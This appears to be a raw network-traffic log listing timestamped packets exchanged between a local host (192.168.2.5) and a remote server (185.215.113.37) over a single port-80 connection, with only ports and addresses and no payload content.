Oct 24, 2024 04:57:11.694339991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.694375992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.694396019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.694458008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.694984913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695020914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695044041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695066929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695096970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695131063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695152044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695183039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695207119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695255995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695724010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695760012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695781946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695810080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.695835114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.695885897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773113966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773160934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773221970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773255110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773287058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773323059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773346901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773385048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773400068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773430109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773453951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773499012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773514032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773542881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.773570061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.773617983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.785836935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.785911083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.785953045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.785988092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786022902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786061049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.786101103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.786125898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786184072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786209106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.786245108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.786267996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786298037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.786319971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.786346912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813277006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813371897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813425064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813452005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813452005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813488960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813556910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813591003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813615084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813647032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813671112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813704967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813726902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813760996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813781023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813817024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.813842058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.813863993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.814264059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.814300060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.814325094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.814347029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.814378023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.814410925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.814433098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.814457893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.814486027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.814536095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.815042973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.815108061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892236948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892326117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892363071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892395973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892447948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892484903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892508030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892540932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892563105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892596006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892630100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892649889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.892674923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.892724991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.904584885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.904623985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.904706955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.904737949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.904777050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.904813051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.904835939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.904865026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.904891014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.904949903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.905081987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.905112028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.905134916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.905154943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.932223082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932246923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932312012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932327032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932342052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.932410955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.932482004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932501078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932518005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932528973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.932543993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.932571888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.932600975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933110952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933129072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933146000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933161974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933181047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933231115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933753967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933779001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933794975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933805943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933819056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933829069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933845043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933854103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.933866024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.933904886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:11.934463978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.934526920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.934541941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:11.934659958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011370897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011406898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011436939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011462927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011491060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011538982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011579037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011611938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011631966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011653900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.011682987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.011730909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.023969889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024013996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024045944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.024068117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.024111986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024146080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024178982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.024199963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.024230957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024265051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.024302959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.024338007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.051836014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051877975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051896095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051906109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051923037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.051935911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.051951885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051969051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.051978111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.051995039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052006006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052016973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052041054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052052975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052067995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052082062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052094936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052109957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052119970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052133083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052148104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052160978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052192926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052793026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052860022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052881002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052910089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.052947998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.052989006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053011894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053035975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053066015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053098917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053121090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053147078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053177118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053227901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053446054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053479910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053502083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053519964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.053553104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.053597927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.130779028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130801916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130819082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130836010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130852938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130913973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.130954027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.130971909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.130989075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.131011009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.131045103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143356085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143433094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143472910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143503904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143536091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143570900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143593073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143636942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143668890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143697977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.143719912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.143740892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.170876026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.170922041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.170960903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.170993090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171067953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171104908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171125889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171155930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171180010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171216011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171237946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171267986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171288967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171356916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171380997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171415091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171433926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171461105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171494007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171541929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171699047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171749115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171777010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171824932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171854973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171890020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.171911955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.171935081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172092915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172127008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172147036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172168970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172199965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172235012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172255993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172282934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172308922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172358990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172635078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172667980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172688007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172712088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172739029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172774076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.172792912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.172817945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250206947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250257015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250293970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250431061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250443935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250443935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250443935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250473976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250523090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250523090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250556946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250643015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.250761032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.250761986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.262746096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.262797117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.262837887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.262986898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.262988091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290169954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290281057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290306091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290321112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290355921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290369034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290391922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290422916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290429115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290457964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290493011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290532112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290539026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290568113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290601015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290602922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290637970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290653944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.290673018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.290770054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291032076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291068077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291090965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291102886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291129112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291137934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291152000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291174889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291194916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291213036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291228056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291265011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291853905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291908979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:12.291928053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:12.291946888 CEST	80	49704	185.215.113.37	192.168.2.5
